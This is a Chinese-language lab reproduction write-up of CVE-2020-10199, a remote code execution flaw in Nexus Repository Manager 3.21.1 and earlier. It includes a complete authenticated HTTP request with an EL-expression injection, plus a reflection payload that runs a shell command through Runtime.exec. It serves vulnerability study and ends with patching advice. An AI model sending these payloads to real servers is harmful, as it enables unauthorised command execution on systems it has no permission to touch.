Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)复现
一、漏洞概要
2020年03月31 日,Sonatype 官方发布安全公告,声明修复了存在于 Nexus Repository Manager 3 中的远程代码执行漏洞 CVE-2020-10199。
Sonatype Nexus 是一个 Maven 的仓库管理系统,它提供了强大的仓库管理、构件搜索等功能,并且可以用来搭建 Maven 仓库私服,在代理远程仓库的同时维护本地仓库,以节省带宽和时间。
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。
此漏洞的利用需要攻击者具备任意类型的账号权限。
二、漏洞影响
【危险等级】
高危
【影响版本】
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
三、漏洞复现
1、环境搭建
使用vulhub提供的漏洞环境(linux环境,安装docker下,执行docker-compose up -d 命令启动Nexus Repository Manager 3.21.1)
等待一段时间环境才能成功启动,访问http://your-ip:8081
即可看到Web页面。
该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin
登录后台。
2、复现
登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 203 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 NX-ANTI-CSRF-TOKEN: 0.7886248393834028 Content-Type: application/json Accept: */* Origin: http://127.0.0.1:8081 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Referer: http://127.0.0.1:8081/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc Connection: close { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{233*233*233}"] } }
(1)尝试执行233*233*233,成功返回结果
(2)尝试创建文件
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
回到漏洞环境检查,文件夹success创建成功
(3)dnslog测试
漏洞存在
POC参考:https://github.com/zhzyker/CVE-2020-10199_POC-EXP
四、漏洞修复
目前,官方已发布新版本修复了该漏洞,请受影响的用户升级到安全版本。
下载地址:https://help.sonatype.com/repomanager3/download/
注:修复漏洞前请将资料备份,并进行充分测试。